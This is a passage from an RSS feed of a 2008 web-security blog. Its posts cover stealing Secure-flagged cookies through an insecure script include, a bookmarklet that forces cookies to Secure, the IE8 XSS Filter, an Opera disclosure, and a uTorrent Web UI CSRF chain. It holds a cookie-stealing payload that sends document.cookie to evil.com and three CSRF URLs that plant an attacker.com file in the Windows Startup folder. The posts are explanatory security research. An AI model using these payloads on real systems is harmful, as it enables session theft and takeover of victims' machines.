		<description><![CDATA[I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking… The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have [...]]]></description>
			<content:encoded><![CDATA[<p>I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking…<br />
<br/><br />
The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to be able to sniff the traffic in order to see the cookie go by on the network)… So I’ll stipulate the same.<br />
<br/><br />
Say I go to https://xs-sniper.com and xs-sniper.com sets a cookie, but sets it with the “Secure” flag.  An attacker could eventually force my browser to load a non-secure version of xs-sniper.com (http://xs-sniper.com) in an attempt to force my session cookie to travel in the clear so they can sniff the cookie as it goes by (this is a simplified description of Surf Jacking).  Now, if all my cookies are set secure, my cookies won’t travel over the wire in the clear…  I’m safe… right?<br />
<br/><br />
Not so fast…  If application sets all the cookies with the secure flag, BUT the web application also has a <strong>“script src”</strong> tag pointing to an <strong>insecure location</strong> (http://) then you can <strong>STILL STEAL THE COOKIE</strong>, even if its marked secure.   Let me explain…<br />
<br/><br />
If an attacker is on the same network segment as you, not only can they sniff clear text data (http://) they can also INJECT data as it traverses the network.   Let’s say I have a page on xs-sniper.com that does analytics for my web application.  We’ll name this page http://xs-sniper.com/analytics.html.  This page is meant to be served as<strong> <span style="color: #ff0000;">http://</span></strong> and contains no sensitive data, but if a user makes a direct request for <strong><span style="color: #00ff00;">https</span><span style="color: #00ff00;">://</span></strong>xs-sniper.com/analytics.html the page is still served.  Inside of the page’s HTML is a script src tag that looks something like this:<br />
<br/><br/><br />
&lt;script src=&#8221;<strong><span style="color: #ff0000;">http</span><span style="color: #ff0000;">://</span></strong>myanalytics.com/webbugs.js&#8221;&gt;&lt;/script&gt;<br />
<br/><br/><br />
Now, using the surf jack technique, Sandro redirected the victim to an <strong><span style="color: #ff0000;">http://</span></strong> version of the targeted site.  In our case, redirecting to an insecure version of the site doesn’t help us as all the cookies are set SECURE.  Instead, we’ll redirect to an <strong><span style="color: #00ff00;">https</span><span style="color: #00ff00;">://</span></strong> page on our victim domain that contains an <strong>insecure script src</strong> tag like the one shown above (https://xs-sniper.com/analytics.html).  Once we see the request for the insecure javascript file (webbugs.js) file, we can inject our own javascript cookie stealing payload (as the script src request is made in the clear):<br />
<br/><br/><br />
CookiesStealer = new Image();</p>
<p>CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;<br />
<br/><br/><br />
The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure.  There you go… Secure cookies stolen.<br />
<br/><br />
Without warning or prompt, every browser I tested allowed an <strong><span style="color: #00ff00;">https</span><span style="color: #00ff00;">://</span> page to </strong><strong>load a script src from an insecure <span style="color: #ff0000;">http</span><span style="color: #ff0000;">://</span> location</strong>.  Ok&#8230; I lied&#8230; every browser EXCEPT ONE&#8230; can you guess which lonely browser provided a warning before allowing an<span style="color: #00ff00;"> <strong>https://</strong></span><strong> </strong>page to load a script from an <strong><span style="color: #ff0000;">http://</span></strong> location?  You can find the answer<em><strong> <a title="And the Winner is...." href="http://tinyurl.com/yd9ugb " target="_blank">here</a></strong></em>.  For those of you in disbelief, you can test your favorite browser(s) <strong><em><a title="Insecure Content from HTTPS" href="https://www.xs-sniper.com/javascript/insecure-script-src.php" target="_blank">here</a></em></strong>.<br />
<br/><br />
SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked&#8230; that&#8217;s pretty cool&#8230;<br />
<br/><br />
CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an <span style="color: #ff0000;"><strong>http:// </strong></span>page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full <span style="color: #ff0000;"><strong>http://</strong></span> page and called document.cookie, the secure cookie would be missing. This is why I needed to call an <span style="color: #00ff00;"><strong>https:// page with a script src that loaded an insecure script file.</strong></span></p>
<p></span></p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/09/24/surf-jacking-secure-cookies/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Simple Lesson on Secure Cookies</title>
		<link>http://xs-sniper.com/blog/2008/09/09/secure-cookies/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=secure-cookies</link>
		<comments>http://xs-sniper.com/blog/2008/09/09/secure-cookies/#comments</comments>
		<pubDate>Tue, 09 Sep 2008 09:05:50 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[cookies. secure]]></category>
		<category><![CDATA[dependencies]]></category>
		<category><![CDATA[document.cookie]]></category>
		<category><![CDATA[ghetto javascript]]></category>
		<category><![CDATA[set-cookie]]></category>
		<category><![CDATA[side jacking]]></category>
		<category><![CDATA[surf jacking]]></category>
		<category><![CDATA[webapp]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=144</guid>
		<description><![CDATA[I recently read a paper written by Sandro Gauci from Enable Security entitled &#8220;Surf Jacking &#8211; HTTPS will not save you&#8221;. You can find the paper here. It&#8217;s an interesting read and extremely relevant to today’s web applications.  The heart of the paper describes some simple tricks to force a session cookie to be sent [...]]]></description>
			<content:encoded><![CDATA[<p>I recently read a paper written by Sandro Gauci from Enable Security entitled &#8220;Surf Jacking &#8211; HTTPS will not save you&#8221;.  You can find the paper <em><strong><a title="Surf Jacking" href="http://resources.enablesecurity.com/resources/Surf%20Jacking.pdf" target="_blank">here</a>.</strong></em><br />
<br/><br />
It&#8217;s an interesting read and extremely relevant to today’s web applications.  The heart of the paper describes some simple tricks to force a session cookie to be sent over a non encrypted channel.  These tricks are possible if the secure flag isn’t set for the session cookie.  These types of attacks have been discussed before.  Side Jacking is probably the most well known (and most widely used) attack against leaked cookies.<br />
<br/><br />
&lt;RANT&gt; It bugs me that we’re still dealing with issues like this.  Despite having a simple and effective means to ensure that session cookies are only sent over secure channels, application owners choose to ignore the secure (and HTTPONLY) flag when developing their applications.  Later, as the application matures, developers find that their application has taken a significant dependency on this insecure behavior and what was once a simple fix now becomes a huge design change (which equals $$$).  The true victim&#8217;s to these poor security decisions are the users who are left scratching their heads when their accounts get pwnd while using the WiFi at Joes Coffee shop. &lt;/RANT&gt;<br />
<br/><br />
I believe the secure flag is symbolic of the current state of web application security… the countermeasures to the issues we are facing are known, simple, and effective&#8230; yet we continue to struggle on wide scale implementation because we&#8217;ve taken dependencies on insecure behavior.  SSL certs are another great example of this.  Every major browser has a way to bypass the security provided by SSL certs.  Browsers MUST offer this bypass because if they didn&#8217;t, it would break the web&#8230; but i digress.<br />
<br/><br />
There is a bright spot when it comes to the protecting cookies.  Cookies are stored and protected by the browser (as any decent web app hacker should know!).  So, when an application server issues a &#8220;SET-COOKIE&#8221; header, it&#8217;s merely a recommendation as to how the browser should use the cookie.  Each cookie is maintained by the browser and all the flags (secure, path, domain, httponly, expires&#8230;etc) associated with cookies are enforced ENTIRELY by the browser.  So, if an application server sets a cookie WITHOUT the secure flag, I can tell my browser to disregard the servers recommendation and add the secure flag which ensures that the cookie will only be sent over secure channels.  This is really simple stuff, so seasoned web app hackers can stop here.  Everyone else can continue reading.<br />
<br/><br />
I&#8217;ve set up a page on <a title="Set Cookie!" href="http://xs-sniper.com/Cookies/cookie-protections.php" target="_blank"><strong>here</strong></a> that simply sets a cookie in the following manner:<br />
<br/><br />
<em><strong>Set-Cookie: XSSniper=BKRios; expires=CURRENTDATE</strong></em><br />
<br/><br />
Examining the Cookie in FireFox shows the following:<br />
<br/><br />
<a href="http://xs-sniper.com/blog/wp-content/uploads/2008/09/ff-cookies-original2.jpg"><img class="size-medium wp-image-149 alignnone" title="Insecure Cookie!" src="http://xs-sniper.com/blog/wp-content/uploads/2008/09/ff-cookies-original2-300x122.jpg" alt="Bad Cookie!" width="300" height="122" /></a><br />
<br/><br />
As you can see, we have a cookie named XSSNIPER and the SECURE flag was NOT set by the server.  In fact, my server will NEVER set the secure flag for the XSSNIPER cookie.  Now if I want to force my browser to enforce the secure flag for the XSSNIPER cookie, I can do so by entering the following Javascript into address bar.<br />
<br/><br />
<em><strong>javascript:var cookies=unescape(document.cookie);var split=cookies.split(&quot;;&quot;);for (i = 0; i &lt;split.length;i++){document.cookie=split[i]+&quot;;expires=Thu,1-Jan-1970 00:00:00 GMT;&quot;;document.cookie=split[i]+&quot;;secure;&quot;}document.location=&quot;http://xs-sniper.com/blog&quot;;</strong></em><br />
<br/><br />
The Javascript above expires all of the current cookies (only on the client side, if you had a session established with the server it would still be maintained) and sets every cookie for the current domain to secure.  I realize the Javascript is pretty ghetto, this should ideally be handled by application, but we could also use a browser plugin with a nice UI and fine grained control over each cookie attribute&#8230;  Hmmmm a tool to prevent Surf/Side Jacking attacks&#8230; I wonder what I would call it&#8230; Any ideas Nate?<br />
<br/><br />
After we run the Javascript, we can take another look at the Cookie info presented by Firefox:<br />
<br/><br />
<a href="http://xs-sniper.com/blog/wp-content/uploads/2008/09/ff-cookies-secure2.jpg"><img class="size-medium wp-image-150 alignnone" title="Secure Cookie!" src="http://xs-sniper.com/blog/wp-content/uploads/2008/09/ff-cookies-secure2-300x158.jpg" alt="Secure Cookies for everyone!" width="300" height="158" /></a><br />
<br/><br />
As you can see, the cookie will only be sent over encrypted connections and the cookie now expires at the end of the session (no more persistence).  We&#8217;ve turned the XSSNIPER cookie into a SECURE cookie, despite the fact that the server never specified this behavior.<br />
<br/><br />
Now, this approach does have it cons&#8230; Servers typically recommend a particular cookie setting because the application was designed to work/anticipate/depend on those characteristics.  This will probably break some application functionality, but broken functionality will show you exactly where your cookie would have been leaked <img src='http://xs-sniper.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/09/09/secure-cookies/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>IE8b2 XSS Filter</title>
		<link>http://xs-sniper.com/blog/2008/09/04/ie8b2-xss-filter/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ie8b2-xss-filter</link>
		<comments>http://xs-sniper.com/blog/2008/09/04/ie8b2-xss-filter/#comments</comments>
		<pubDate>Thu, 04 Sep 2008 06:05:37 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Defense]]></category>
		<category><![CDATA[IE8]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[pwnage]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[xss]]></category>
		<category><![CDATA[XSS Filter]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=138</guid>
		<description><![CDATA[I run a number of different browsers, for various reasons.  I was once even called a “browserholic” by a colleague!   I pulled down IE8b2 when it went live a week ago.  I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many [...]]]></description>
			<content:encoded><![CDATA[<p>I run a number of different browsers, for various reasons.  I was once even called a “browserholic” by a colleague!   I pulled down IE8b2 when it went live a week ago.  I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… <a title="XSS Filter" href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx" target="_blank"><em><strong>XSS Filter</strong></em></a><br />
<br/><br />
XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met.  In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web.  David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help.  You can see some of the names of those who participated in XSS-Filter’s creation <a title="XSS Filter testers" href="http://blogs.msdn.com/dross/archive/2008/08/29/ie8-beta-2.aspx" target="_blank"><em><strong>here</strong></em></a>.<br />
<br/><br/><br />
<strong>Thanks David and CONGRATS on the release!</strong><br />
<br/><br/><br />
Some technical details with regards to XSS-Filter can be found <a title="XSS Filter Info" href="http://blogs.msdn.com/dross/archive/2008/08/19/ie-8-xss-filter-architecture-implementation-revealed-some-other-news.aspx" target="_blank"><em><strong>here</strong></em></a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/09/04/ie8b2-xss-filter/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Opera Stuff</title>
		<link>http://xs-sniper.com/blog/2008/07/11/opera-stuff/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=opera-stuff</link>
		<comments>http://xs-sniper.com/blog/2008/07/11/opera-stuff/#comments</comments>
		<pubDate>Sat, 12 Jul 2008 00:42:36 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[Browser]]></category>
		<category><![CDATA[Opera]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[Remote Command Execution]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=111</guid>
		<description><![CDATA[I recently came across an issue in Opera that could allow for some bad stuff.  Although the issue has been addressed, I&#8217;ve been asked by the Opera security team to hold off on details until they can fully investigate other possibly related issues.  I&#8217;ll respect that request.  I do however, want to take a moment [...]]]></description>
			<content:encoded><![CDATA[<p>I recently came across an issue in Opera that could allow for some <a title="RCE in Opera" href="http://www.opera.com/docs/changelogs/windows/951/" target="_blank"><strong><em>bad stuff</em></strong></a>.  Although the issue has been addressed, I&#8217;ve been asked by the Opera security team to hold off on details until they can fully investigate other possibly related issues.  I&#8217;ll respect that request.  I do however, want to take a moment to thank the Opera team for their timely response!  Change control, resource allocation, and devoting the appropriate amount of testing to patches for sophisticated applications is a tricky business.  The Opera team responded quickly with a patch and kept in great contact with me throughout the process.  </p>
<p> </p>
<p>It&#8217;s a crazy world out there and the web browser is the window to the wild wild west.  I wish Opera security team the best of luck! </p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/07/11/opera-stuff/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CSRF pwns your box?!?!</title>
		<link>http://xs-sniper.com/blog/2008/04/21/csrf-pwns-your-box/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=csrf-pwns-your-box</link>
		<comments>http://xs-sniper.com/blog/2008/04/21/csrf-pwns-your-box/#comments</comments>
		<pubDate>Mon, 21 Apr 2008 08:02:47 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[0-dayz]]></category>
		<category><![CDATA[compromise]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[housecleaning]]></category>
		<category><![CDATA[pwnage]]></category>
		<category><![CDATA[uTorrent]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/2008/04/21/csrf-pwns-your-box/</guid>
		<description><![CDATA[Before going talking about an interesting set of CSRF vulnerabilities that were released this weekend, I did want to take a few moments to do some &#8220;housekeeping&#8221; on the recent spreadsheets.google.com XSS.  (1) I gave the Google Security Team the details for this particular issue well before talking about it on my blog.  (2) The [...]]]></description>
			<content:encoded><![CDATA[<p>Before going talking about an interesting set of CSRF vulnerabilities that were released this weekend, I did want to take a few moments to do some &#8220;housekeeping&#8221; on the recent spreadsheets.google.com XSS.  (1) I gave the Google Security Team the details for this particular issue well before talking about it on my blog.  (2) The described issue was fixed by the GST before I even considered publically speaking about the vuln.  (3)  Part of the vulnerability involved a caching flaw in Google&#8217;s servers, this issue is specific to Google and it was also fixed&#8230;   OK, on to the good stuff&#8230;<br />
         <br />
         <br />
A few weeks ago, Rob Carter told me about a few interesting CSRF vulnerabilities that he discovered in a uTorrent plugin (he publicly disclosed them this weekend).  Rob was able to chain together the CSRF vulnerabilities and the net result is complete compromise of the victim’s machine!  I think this may be the first PURE CSRF vulnerability that I&#8217;ve seen that resulted in compromise of a victims machine (there is an argument amongst some of my colleagues as to whether protocol handling/URI vulnerabilities are actually a form of CSRF, but that’s another story).  The series of vulnerabilities basically follow this flow:<br />
         <br />
When a user installs the uTorrent Web UI plugin. the plugin essentially starts a locally running web server on your machine (in order to serve the Web UI).  Rob targets the CSRF vulnerabilities associated with this locally running web server.</p>
<ul>
<li>Rob uses a first CSRF to turn on the &#8220;Move completed downloads&#8221; option on the uTorrent Web UI.  The CSRF looks something like this:<br />
<em><strong>http://localhost:14774/gui/?action=setsetting&amp;s=dir_completed_download_flag&amp;v=1</strong></em></li>
</ul>
<p>         </p>
<ul>
<li>Once Rob has &#8220;turned on&#8221; the &#8220;Move completed downloads&#8221; functionality, he uses a second CSRF to change the path of where the completed torrent download is placed.  In the example he gives, he forces the uTorrent plugin to move completed torrent downloads to the Windows startup folder.  This CSRF looks something like this:<br />
<a href="http://localhost:14774/gui/?action=setsetting&amp;s=dir_completed_download&amp;v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup"><em><strong>http://localhost:14774/gui/?action=setsetting&amp;s=dir_completed_download&amp;v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup</strong></em></a></li>
</ul>
<p>         <br />
         </p>
<ul>
<li>The last step in Rob’s example forces the victim to download a torrent which points to an attacker controlled bat file.  Once the file is downloaded, uTorrent places the files into the victim’s startup folder (thanks to the first two CSRFs).  This CSRF looks something like this:<br />
 <a href="http://localhost:14774/gui/?action=add-url&amp;s=http://www.attacker.com/file.torrent"><em><strong>http://localhost:14774/gui/?action=add-url&amp;s=http://www.attacker.com/file.torrent</strong></em></a></li>
</ul>
<p>                   </p>
<p>Once the file is placed, the next time the user restarts their machine, the attacker controlled file will be run&#8230;  there you have it&#8230; compromise of a victim’s system through three CSRFs!  Scary stuff&#8230; you can read more about the issue on Robs Blog <em><a target="_blank" href="http://r00tin.blogspot.com/2008/04/utorrent-pwn3d.html" title="Rob Carter">&lt;robs blog&gt;.</a></em></p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/04/21/csrf-pwns-your-box/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced

Served from: xs-sniper.com @ 2012-02-04 03:29:23 -->
